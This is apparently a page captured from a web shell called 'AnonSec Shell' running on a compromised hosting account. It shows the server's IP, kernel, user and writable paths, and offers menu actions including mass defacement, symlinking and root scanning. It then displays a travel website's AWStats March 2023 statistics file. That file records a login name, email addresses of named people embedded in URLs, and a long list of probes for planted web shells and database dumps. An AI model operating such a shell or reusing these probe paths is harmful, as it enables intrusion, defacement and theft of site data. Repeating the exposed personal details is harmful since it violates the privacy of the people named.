AnonSec Shell
Server IP : 68.65.120.251  /  Your IP : 3.144.237.87   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux server105.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User : travtpib ( 6521)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/travtpib/tmp/awstats/ssl/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/travtpib/tmp/awstats/ssl/awstats032023.travelsquare-om.com.txt
AWSTATS DATA FILE 7.8 (build 20200416)
# If you remove this file, all statistics for date 202303 will be lost/reset.
# Last config file used to build this data file was /home/travtpib/tmp/awstats/ssl/awstats.travelsquare-om.com.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2020                
POS_TIME 2702                
POS_VISITOR 24261               
POS_DAY 55795               
POS_DOMAIN 3639                
POS_LOGIN 4675                
POS_ROBOT 4906                
POS_WORMS 5825                
POS_EMAILSENDER 5956                
POS_EMAILRECEIVER 6099                
POS_SESSION 56686               
POS_SIDER 56898               
POS_FILETYPES 6234                
POS_DOWNLOADS 6555                
POS_OS 6714                
POS_BROWSER 7179                
POS_SCREENSIZE 10944               
POS_UNKNOWNREFERER 11018               
POS_UNKNOWNREFERERBROWSER 12471               
POS_ORIGIN 13361               
POS_SEREFERRALS 13505               
POS_PAGEREFS 13702               
POS_SEARCHWORDS 13943               
POS_KEYWORDS 14095               
POS_MISC 2366                
POS_ERRORS 14154               
POS_CLUSTER 4531                
POS_SIDER_404 14333               
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20230401000751 283 95727 11778522750778
FirstTime 20230301000507
LastTime 20230331235414
LastUpdate 20230401084513 283 0 282 0 0
TotalVisits 1169                
TotalUnique 770                 
MonthHostsKnown 0                   
MonthHostsUnknown 864                 
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
WindowsMediaPlayerSupport 0 0 0
JavaEnabled 0 0 0
QuickTimeSupport 0 0 0
RealPlayerSupport 0 0 0
JavascriptDisabled 0 0 0
FlashSupport 0 0 0
DirectorSupport 0 0 0
TotalMisc 0 0 0
AddToFavourites 0 0 0
PDFSupport 0 0 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 171 1033 24310188 44 598 5474618
1 192 782 16922834 98 441 6924211
2 97 100 1177077 52 351 3331419
3 104 124 842816 283 506 41181011
4 161 833 20064343 47 406 7519397
5 127 739 16063137 29 61 1812749
6 118 284 5966553 64 307 4472870
7 130 300 6090469 69 400 4999783
8 89 215 1578797 54 168 4502283
9 109 277 4964477 45 226 2593346
10 82 82 562510 41 112 711158
11 135 137 1526773 269 689 4392967
12 135 137 1212778 122 477 6469295
13 138 1090 21413399 109 980 15829421
14 140 476 10103725 104 206 2354367
15 137 138 642525 111 233 3246771
16 89 91 329701 81 555 5111132
17 131 319 7365525 116 352 5886663
18 87 266 5270536 75 253 7787055
19 115 115 596310 118 332 4858270
20 103 104 1517338 122 182 6619439
21 96 285 5679715 35 298 4770886
22 194 663 12046105 67 87 3639006
23 121 263 4535080 49 120 3545451
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 59
us 2223 5717 99712004
ru 77 150 630625
cn 62 500 10856725
gb 60 60 738987
in 52 223 5310737
de 50 50 201729
nl 42 43 547345
se 42 222 5476592
om 34 524 11417105
ie 32 556 14339479
ca 30 30 1674436
it 22 22 1035737
zz 20 20 4200
fr 20 20 725785
jp 16 16 340291
dk 16 16 247337
pl 14 14 597208
ua 13 13 526504
am 12 180 4709276
es 11 11 51456
ma 11 151 3328527
br 11 11 27735
eg 10 178 4748030
th 8 8 257956
ir 8 8 91447
nz 1 1 403
my 4 4 5219
ng 1 1 6430
hu 7 7 8271
ph 1 1 210
at 6 6 1260
ro 7 11 2288037
au 6 6 823
sc 1 1 37720
no 1 1 0
eu 2 2 806
sg 3 3 7236
tr 6 6 2418
kr 6 7 125990
bg 3 3 403
ee 1 1 210
ba 1 1 403
vn 5 5 7639
ch 2 2 806
pt 2 2 420
be 6 6 179578
gr 4 4 7236
ar 4 4 1612
hk 1 1 403
by 2 2 806
fi 4 4 1612
ec 1 1 38229
rs 3 3 201871
bd 1 1 210
za 6 6 5434
id 2 2 613
az 1 1 246107
cz 3 3 613
ke 1 1 6430
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 2
chmn 1 1 326 20230330181050
chmn@travelsquare-om.com 1 1 326 20230330181050
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 19
AhrefsBot/ 3208 31996168 20230331063157 36
Googlebot/ 1422 8904941 20230331234847 113
bingbot/ 617 7392737 20230331221317 32
bot[\s_+:,\.\;\/\\-] 435 10685411 20230331200826 1
crawl 197 5218052 20230327142315 5
AdsBot\-Google[\x20]\( 174 1149848 20230326132217 0
Googlebot\-Image/ 20 923697 20230331161323 0
bingpreview 20 1383690 20230325121020 0
no_user_agent 19 4180508 20230329182751 0
facebookexternalhit/ 16 716155 20230330183634 0
curl 16 363762 20230323222638 0
(firefox/)([0-9]\.|[0-1][0]\.) 10 48414 20230327071150 0
DotBot/ 10 1161733 20230326005056 3
unknown 9 1322 20230326012225 9
link 4 118552 20230329084528 1
MJ12bot/ 3 76635 20230328072839 1
Go\-http\-client/ 3 20564 20230327161907 0
survey 2 492186 20230307152040 0
Yahoo![\x20]Slurp[\x20]China 1 0 20230330115546 0
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 13
png 908 58918270 0 0
txt 2 51016 0 0
css 2063 14267309 0 0
jpg 119 31856491 0 0
xml 23 10237 0 0
gif 25 63625 0 0
woff2 238 20216196 0 0
html 429 25986208 0 0
woff 32 241152 0 0
Unknown 12 11233 0 0
js 2706 18709331 0 0
svg 29 8999 0 0
php 2267 442644 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 2
/wp-content/plugins/elementor-pro/changelog.txt 1 0 40404
/wp-content/plugins/woocommerce/readme.txt 1 0 10612
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS ID - Hits - Pages 26
androidpie 182 11
android10 18 18
winlong 10 10
linux 1190 112
win10 3637 859
androidlollipop 1 1
macosx15 8 8
win8 6 6
macosx 3 3
macosx10 17 17
win8.1 9 9
androidmarshmallow 181 15
macosx6 15 15
macosx11 5 5
ios_ipad 1 1
ios_iphone 513 38
macosx9 22 21
macosx7 1 1
androidkitkat 1 1
linuxubuntu 18 18
androidoreo 448 29
Unknown 1936 1558
winxp 119 119
androidnougat 8 8
android 358 22
win7 146 96
END_OS

# Browser ID - Hits - Pages
BEGIN_BROWSER 186
chrome74.0.3729.169 14 14
chrome70.0.3538.77 4 4
chrome36.0.1944.0 1 0
firefox73.0 1 1
chrome50.0.2661.75 5 5
firefox53.0 1 1
safari 4 4
firefox72.0 2 2
chrome80.0.3987.132 2 2
firefox52.0 10 10
chrome57.0.2987.108 182 11
chrome80.0.3987.163 1 1
firefox75.0 3 3
firefox55.0 1 1
safari13.0.3 2 2
chrome21.0.1180.83 2 2
chrome90.0.4430.93 7 7
chrome103.0.5060.114 2 2
chrome39.0.2171.95 10 10
chrome86.0.4240.198 533 35
opera32.0.1948.45 23 23
firefox49.0 5 5
firefox57.0 9 9
firefox90.0 5 5
firefox77.0 4 4
chrome67.0.3396.99 5 5
firefox78.0 5 5
firefox58.0 6 6
firefox76.0 5 5
firefox56.0 3 3
firefox96.0 6 6
firefox97.0 4 4
firefox50.0 8 8
firefox70.0 1 1
chrome109.0.0.0 5 5
chrome72.0.3626.121 17 17
firefox98.0 4 4
iphone 2 2
chrome84.0.4147.135 1 1
safari16.0 178 10
chrome102.0.5005.63 192 23
firefox34.0 1 1
safari7.0.3 10 10
chrome74.0.3729.157 8 8
chrome100.0.4896.127 180 13
chrome60.0.3112.90 6 6
chrome79.0.3945.117 1 1
chrome65.0.3152.119 4 4
chrome19.0.1036.7 1 1
firefox92.0 4 4
firefox95.0 4 4
chrome104.0.5112.79 1 1
firefox41.0 10 10
chrome79.0.3945.88 8 8
chrome85.0.4183.121 3 3
chrome60.0.3112.113 100 100
firefox93.0 3 3
chrome83.0.4103.116 8 8
firefox40.1 1 1
chrome111.0.5563.57 1 1
firefox69.0 6 6
firefox89.0 1 1
firefox33.0 1 1
safari1.2.2 1 1
chrome80.0.3987.87 5 5
chrome87.0.4280.88 455 36
chrome64.0.3282.186 2 2
chrome76.0.3809.111 1 1
chrome85.0.4183.102 2 2
firefox38.0 2 2
chrome81.0.4044.138 14 14
firefox24.0 7 7
chrome110.0.0.0 712 40
firefox100.0 1 1
firefox94.0 5 5
chrome110.0.5481.77 4 4
chrome79.0.3945.130 7 7
safari9.1.3 10 10
opera11.11 1 1
chrome65.0.3325.181 1 1
chrome71.0.3578.98 74 1
chrome78.0.3904.87 21 2
firefox54.0 3 3
firefox74.0 3 3
chrome56.0.2924.76 1 1
firefox81.0 3 3
firefox20.6.14 1 1
chrome64.0.3282.24 5 5
firefox61.0 10 10
chrome57.0.2987.133 1 1
chrome 1 1
chrome60.0.3112.107 8 8
firefox30.0 3 3
chrome88.0.4324.190 2 2
chrome88.0.4324.104 1 1
chrome99.0.4844.0 176 10
mozilla 190 25
chrome62.0.3202.94 12 12
chrome101.0.4951.54 191 22
chrome74.0.3729.131 3 3
chrome90.0.4430.72 1 1
chrome61.0.3163.100 2 2
chrome87.0.4280.141 3 3
chrome103.0.5060.134 193 24
firefox17.0 4 4
firefox18.0 1 1
firefox16.0 10 10
firefox80.0 5 5
chrome90.0.4430.212 2 2
firefox60.0 10 10
chrome84.0.4147.125 9 7
edge17 5 5
safari9.1.2 5 5
chrome32.0.1664.3 1 1
edge18 15 15
chrome80.0.3987.162 1 1
firefox44.0 9 9
safari5.1.9 5 5
chrome70.0.3538.102 1 1
chrome91.0.4472.124 5 5
safari16.1 328 21
chrome56.0.2924.87 1 1
firefox65.0 11 11
firefox85.0 7 7
chrome104.0.0.0 192 24
chrome91.0.4472.114 22 22
firefox62.0 14 14
chrome46.0.2490.71 3 3
android 1 1
firefox82.0 4 4
firefox63.0 6 6
chrome58.0.1145.75 2 2
firefox66.0 4 4
firefox86.0 4 4
chrome111.0.0.0 1067 73
msie11.0 7 7
firefox110.0 1 1
chrome45.0.2454.85 5 5
firefox87.0 41 41
firefox68.0 1 1
firefox67.0 4 4
firefox88.0 6 6
chrome95.0.4638.54 1 1
firefox108.0 2 2
chrome76.0.3809.132 5 5
chrome103.0.0.0 57 5
chrome78.0.3904.108 2 2
chrome101.0.4951.67 657 39
chrome95.0.4638.69 4 0
firefox51.0 5 5
firefox71.0 4 4
chrome105.0.0.0 42 30
firefox64.0 2 2
firefox84.0 7 7
chrome63.0.3239.132 5 5
firefox40.0 4 4
chrome83.0.4103.97 11 11
safari10.1.2 5 5
chrome108.0.0.0 1 1
firefox29.0 5 5
chrome107.0.0.0 1 1
firefox99.0 3 3
firefox104.0 3 3
firefox102.0 4 4
chrome69.0.3497.100 8 8
Unknown 1609 1530
chrome68.0.3440.106 4 4
netscape5.0 1 1
firefox79.0 5 5
firefox59.0 9 9
chrome84.0.4147.105 132 8
chrome51.0.2704.103 5 5
firefox47.0 6 6
firefox48.0 6 6
chrome68.0.3440.91 2 2
chrome5.0.375.99 111 111
firefox46.0 4 4
chrome44.0.2403.157 6 6
chrome34.0.1847.116 3 3
firefox43.0 7 7
firefox91.0 4 4
chrome60.0.3112.101 2 2
opera42.0.2393.94 1 1
firefox42.0 10 10
firefox45.0 6 6
chrome111.0.5563.64 488 22
END_BROWSER

# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE

# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 20
python-requests/2.28.2 20230331072802
Python/3.7_aiohttp/3.8.1 20230310051141
WhatsApp/2.23.5.79_i 20230327151613
Mozila/5.0 20230308162102
Mozilla/5.0_(compatible;_CensysInspect/1.1;__https://about.censys.io/) 20230325075632
panscient.com 20230304012611
Faraday_v0.17.4 20230323040908
Expanse,_a_Palo_Alto_Networks_company,_searches_across_the_global_IPv4_space_multiple_times_per_day_to_identify_customers'_presences_on_the_Internet._If_you_would_like_to_be_excluded_from_our_scans,_please_send_IP_addresses/domains_to:_scaninfo@paloaltonetworks.com 20230329054205
Mozilla/5.0_zgrab/0.x_(compatible;_Researchscan/http;__http://researchscan.comsys.rwth-aachen.de) 20230309200108
Mozilla/5.0_(compatible;_InternetMeasurement/1.0;__https://internet-measurement.com/) 20230321121707
OutlookMobileCloudService-Autodetect/1.0.0 20230308035943
WordPress/6.2;_https://www.travelsquare-om.com 20230331234853
Mozilla/5.0_AppleWebKit/537.36_(KHTML,_like_Gecko;_Mozilla/5.0,_Google-AdWords-Express)_Chrome/111.0.5563.64_Safari/537.36 20230326131837
Mozilla/5.0_researchscan.comsys.rwth-aachen.de 20230323205939
python-requests/2.28.1 20230316035009
python-requests/2.27.1 20230326012708
WordPress/6.1.1;_https://www.travelsquare-om.com 20230329234452
WhatsApp/2.23.3.77_i 20230316114943
Mozilla/5.0_(compatible;_Dataprovider.com) 20230322055051
cortex/1.0 20230324185826
END_UNKNOWNREFERER

# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 14
WordPress/6.2;_https://www.travelsquare-om.com 20230331234853
WordPress/6.1.1;_https://www.travelsquare-om.com 20230329234452
cortex/1.0 20230324185826
WhatsApp/2.23.3.77_i 20230316114943
python-requests/2.28.1 20230316035009
python-requests/2.27.1 20230326012708
Expanse,_a_Palo_Alto_Networks_company,_searches_across_the_global_IPv4_space_multiple_times_per_day_to_identify_customers'_presences_on_the_Internet._If_you_would_like_to_be_excluded_from_our_scans,_please_send_IP_addresses/domains_to:_scaninfo@paloaltonetworks.com 20230329054205
OutlookMobileCloudService-Autodetect/1.0.0 20230308035943
Mozila/5.0 20230308162102
WhatsApp/2.23.5.79_i 20230327151613
Faraday_v0.17.4 20230323040908
panscient.com 20230304012611
Python/3.7_aiohttp/3.8.1 20230310051141
python-requests/2.28.2 20230331072802
END_UNKNOWNREFERERBROWSER

# Origin - Pages - Hits 
BEGIN_ORIGIN 6
From0 1027 1179
From1 9 9
From2 19 19
From3 3 3
From4 1943 7643
From5 0 0
END_ORIGIN

# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 3
www_google_com_au 1 1
baidu 3 3
www_google_com 15 15
END_SEREFERRALS

# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 3
https://www.tiktok.com 1 1
http://68.65.120.251:80/aab9 1 1
http://68.65.120.251:80/aaa9 1 1
END_PAGEREFS

# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 0
END_SEARCHWORDS

# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 0
END_KEYWORDS

# Errors - Hits - Bandwidth
BEGIN_ERRORS 8
400 15 315
302 20 0
404 904 79859518
409 1 2761
301 997 1414
206 144 3279512
403 33 40557
500 11 15116
END_ERRORS

# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 218
/daily.sql 1 -
/ravelsquare-om.sql 1 -
/wordpress/wp-content/plugins/official-mailerlite-sign-up-forms/readme.txt 1 https://travelsquare-om.com/wordpress/wp-content/plugins/official-mailerlite-sign-up-forms/readme.txt
/app-ads.txt 1 -
/wp-config.ORG 1 -
/ads.txt 6 https://travelsquare-om.com/ads.txt
/cgi-bin/mt/mt-xmlrpc.cgi 1 -
/ 221 -
/hehehehe.php 1 https://travelsquare-om.com/
/old/wp-admin/install.php 8 -
/web 1 -
/uare-om.sql 1 -
/mtos/RxR.php 1 -
/%26data=05%7C01%7CAli.AlBahri@Holding.nama.om%7C53665a34f9b944d5bb2308db1fbb5722%7C280c6229d3134253baad51dd0ea11bd9%7C1%7C0%7C638138661735940705%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0=%7C3000%7C%7C%7C%26sda 1 -
/wp-content/uploads/revslider/themes.php 1 https://travelsquare-om.com/wp-content/uploads/revslider/themes.php
/wp-admin/images/arrow-lefts.png 1 travelsquare-om.com
/inputs.php 1 travelsquare-om.com
/sitemap_index.xml 21 -
/dump.sql 1 http://www.travelsquare-om.com/dump.sql
/wp-content/themes/twentytwentyone/classes/ 3 https://travelsquare-om.com/wp-content/themes/twentytwentyone/classes/index.php
/signup 1 -
/wp-content/updates.php 1 www.google.com
/wp-content/plugins/events-made-easy/readme.txt 1 -
/wp-content/auto_seo.php 1 travelsquare-om.com
/travelsquare-.sql 1 -
/%26data=05%7C01%7CAli.AlBahri@Holding.nama.om%7Cd170d95c9f284715403f08db2070ef6e%7C280c6229d3134253baad51dd0ea11bd9%7C1%7C0%7C638139441673107440%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0=%7C3000%7C%7C%7C%26sda 1 -
/bk 1 http://www.travelsquare-om.com/bk
/.well-known/apple-app-site-association 2 -
/wp-content/plugins/apikey/apikey.php 7 -
/wp-plain.php 3 www.google.com
/apple-app-site-association 2 -
/wp-admin/js/js/js/ 1 travelsquare-om.com
/wp-content/uploads/typehub/custom/a57bze8931/.__a57bze8931.php 2 www.google.com
/-om.sql 1 -
/travelsqua.sql 1 -
/main 5 http://www.travelsquare-om.com/main
/ccx/ 1 -
/wp-content/themes/pridmag/db.php 9 -
/public/_ignition/health-check/ 4 https://travelsquare-om.com/public/_ignition/health-check/
/view-source: 7 -
/tel 1 -
/t.sql 1 -
/991176.php 1 https://travelsquare-om.com/991176.php
/wp-includes/xl2023.php 1 www.google.com
/oldsite/wp-admin/install.php 8 -
/cms 3 -
/wp-content/xl2023.php 1 www.google.com
/wp-content/plugins/revslider/includes/external/page/ 1 https://travelsquare-om.com/wp-content/plugins/revslider/includes/external/page/index.php
/MT/RxR.php 1 -
/testing 1 -
/cgi-bin/MT/mt-xmlrpc.cgi 1 -
/wp-content/themes/twenty/twenty.php 1 https://travelsquare-om.com/wp-content/themes/twenty/twenty.php
/mt/RxR.php 1 -
/e-om.sql 1 -
/wp-content/themes/wordpress-theme-security/wwdv.php 1 https://travelsquare-om.com/wp-content/themes/wordpress-theme-security/wwdv.php
/test.sql 1 https://travelsquare-om.com:443/test.sql
/wp-json/learnpress/v1 1 -
/backups.sql 1 -
/wp-content/plugins/apikey/apikey.php.suspected 5 -
/wp-content/plugins/woocommerce/assets/js/prettyphoto/jquery.prettyphoto.min.js 1 -
/bc 1 http://www.travelsquare-om.com/bc
/travelsquar.sql 1 -
/_ignition/health-check/ 4 https://travelsquare-om.com/_ignition/health-check/
/wp 3 http://www.travelsquare-om.com/wp
/wp-content/plugins/anttt/simple.php 8 www.google.com
/packages/tel 1 -
/test/wp-admin/install.php 8 -
/blog/mt-xmlrpc.cgi 1 -
/wp-content/plugins/wpcargo/includes/barcode.php 2 www.google.com
/wp-content/plugins/yith-woocommerce-wishlist/assets/js/jquery.selectbox.min.js 1 -
/mysql.sql 2 https://travelsquare-om.com:443/mysql.sql
/alfacgiapi/perl.alfa 3 www.google.com
/wp-config2.txt 1 -
/wp-admin/dropdown.php 1 https://travelsquare-om.com/wp-admin/dropdown.php
/wp-admin/xl2023.php 1 www.google.com
/alfa.php 2 www.google.com
/old 3 http://www.travelsquare-om.com/old
/packages/mailto 2 -
/travelsquare-o.sql 1 -
/wp-content/plugins/woocommerce/assets/css/prettyphoto.css 1 -
/cgi-bin/RxR.php 1 -
/wp-includes/images/xit-3x.gif 1 travelsquare-om.com
/quare-om.sql 1 -
/.sql 1 -
/emergency.php 1 -
/%26data=05%7C01%7CKhamis.AlMuqaimi@holding.nama.om%7C01da36b07ee243c9b49b08db1fd01776%7C280c6229d3134253baad51dd0ea11bd9%7C1%7C0%7C638138750839430116%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0=%7C3000%7C%7C%7C% 1 -
/wp-sales.js 1 -
/shell.php 2 www.google.com
/travelsquare-om.sql 1 -
/contact/tel 1 -
/.well-known/pki-validation/index.php 3 http://travelsquare-om.com/.well-known/pki-validation/index.php
/plugins/content/apismtp/apismtp.php.suspected 4 -
/backup.sql 2 http://www.travelsquare-om.com/backup.sql
/square-om.sql 1 -
/humans.txt 3 https://travelsquare-om.com/humans.txt
/wp-json/wp/v2/users/4 1 https://www.travelsquare-om.com/
/demo 1 -
/1.sql 2 https://travelsquare-om.com:443/1.sql
/cong.php 1 https://travelsquare-om.com/cong.php
/wp-admin/css/colors/blue/nin.php 3 -
/lsquare-om.sql 1 -
/wp-content/plugins/seoplugins/mar.php 8 www.google.com
/misc/ajax.js 7 -
/mysqldump.sql 2 https://travelsquare-om.com:443/mysqldump.sql
/wp-includes/class-wordpress-license.php 5 -
/wp-admin/auto_seo.php 1 travelsquare-om.com
/avelsquare-om.sql 1 -
/wp-content/plugins/plugins.php 1 https://travelsquare-om.com/wp-content/plugins/plugins.php
/lpyfmqbw.php 1 www.google.com
/tmp 1 -
/register 1 -
/wp-content/db.sql 1 -
/wp-content/plugins/ccx/ 6 -
/wp/wp-admin/install.php 8 -
/wp-admin/shell20211028.php 4 -
/backup 2 http://www.travelsquare-om.com/backup
/wp-content/plugins/newsletter-optin-box/templates/email-templates/merriweather/style.php 1 -
/cgi/mt-xmlrpc.cgi 1 -
/om.sql 1 -
/mt-xmlrpc.cgi 1 -
/site/wp-admin/install.php 8 -
/travel.sql 1 -
/RxR.php 1 -
/wp-content/x.php 2 www.google.com
/.vscode/sftp.json 1 -
/cms/RxR.php 1 -
/new/wp-admin/install.php 8 -
/wp-content/uploads/2019/10/bg-footer.png 32 https://www.travelsquare-om.com/
/cms/wp-admin/install.php 8 -
/wp-content/themes/ccx/ 1 -
/wp-content/plugins/core-fork/ 3 travelsquare-om.com
/wp-content/plugins/TOPXOH/wDR.php 8 www.google.com
/blog/wp-admin/includes/ 1 www.google.com
/wp-content/plugins/wp-slimstat/readme.txt 1 -
/phpminiadmin/ 1 -
/wp-content/themes/seotheme/auto_seo.php 1 travelsquare-om.com
/wp-content/plugins/case-theme-core/assets/js/lib/jquery.singlepagenav.js 1 -
/wp-content/plugins/core-stab/ 18 -
/trave.sql 1 -
/cms/mt-xmlrpc.cgi 1 -
/wp-admin/css/css/ 1 travelsquare-om.com
/wp-content/plugins/quiz-master-next/readme.txt 1 -
/web/wp-admin/install.php 8 -
/manifest.json 1 -
/blog/wp-admin/install.php 8 -
/travels.sql 1 -
/wp-includes/wp-system-cloud.php 5 -
/wp-content/themes/seotheme/mar.php 10 www.google.com
/bala.php 1 www.google.com
/wp-content/plugins/woocommerce-payments/assets/css/admin.css 1 travelsquare-om.com
/mtos/mt-xmlrpc.cgi 1 -
/site 1 -
/wp-content/plugins/wordpresss3cll/up.php 7 www.google.com
/backup/wp-admin/install.php 8 -
/wp-content/plugins/yith-woocommerce-wishlist/assets/css/jquery.selectbox.css 1 -
/wp-includes/class-index-wordpress.php 5 -
/dev 1 -
/wp-config.run 1 -
/newsite 2 -
/cgi-bin/mt-xmlrpc.cgi 1 -
/wp-includes/random_compat/themes.php 1 https://travelsquare-om.com/wp-includes/random_compat/themes.php
/mt/mt-xmlrpc.cgi 1 -
/cgi/RxR.php 1 -
/site/wp-admin/includes/ 1 www.google.com
/wp-json/wp/v2/users/3 1 https://www.travelsquare-om.com/
/MT/mt-xmlrpc.cgi 1 -
/wp-content/themes/twentynineteen/classes/ 1 https://travelsquare-om.com/wp-content/themes/twentynineteen/classes/index.php
/wp-admin/js/js/ 1 travelsquare-om.com
/wordpress.sql 1 -
/wso112233.php 5 https://travelsquare-om.com/wso112233.php
/wp-content/themes/classic/inc/ 1 -
/wp-content/shell20211028.php 3 -
/contact/mailto 1 -
/wp-admin/RxRwrxcu.php 2 -
/cgi-bin/mt/RxR.php 1 -
/wp-content/plugins/w0rdpr3ssnew/readme.txt 1 travelsquare-om.com
/sitemaps.xml 22 -
/sitemap.xml.gz 21 -
/wp.sql 1 -
/trav.sql 1 -
/wp-content/themes/classic/rtl.css 3 -
/.well-known/traffic-advice 3 -
/wp-content/plugins/apikey/a57bze8931.php 2 www.google.com
/are-om.sql 1 -
/jindex.php 1 https://travelsquare-om.com/jindex.php
/marijuana.php 2 www.google.com
/xleet-shell.php 4 -
/xl2023.php 1 www.google.com
/wp-content/themes/seotheme/db.php 21 -
/WORDPRESS/xmlrpc.php 30 -
/wp/wp-admin/includes/ 1 www.google.com
/atom.xml 20 -
/%26data=05%7C01%7CAli.AlBahri@holding.nama.om%7Ca87893ca2c5c4cf719ef08db1fc55bee%7C280c6229d3134253baad51dd0ea11bd9%7C1%7C0%7C638138704740982121%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0=%7C3000%7C%7C%7C%26sda 2 -
/wp-admin/js/widgets/wp-login.php 5 -
/tra.sql 1 -
/%26data=05%7C01%7CAli.AlBahri@Holding.nama.om%7C7b7d94153f8344c27c6a08db2068b5bd%7C280c6229d3134253baad51dd0ea11bd9%7C1%7C0%7C638139406349943415%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0=%7C3000%7C%7C%7C%26sda 1 -
/wp-content/plugins/ioptimization/IOptimize.php 8 www.google.com
/plugins/content/apismtp/apismtp.php 5 -
/administrator/ 7 -
/ALFA_DATA/alfacgiapi/perl.alfa 3 www.google.com
/travelsqu.sql 1 -
/elsquare-om.sql 1 -
/wp-includes/class-wp-page-icon.php 5 -
/wp-content/plugins/wp-file-upload/ROOBOTS.php 7 www.google.com
/sitemap.txt 21 -
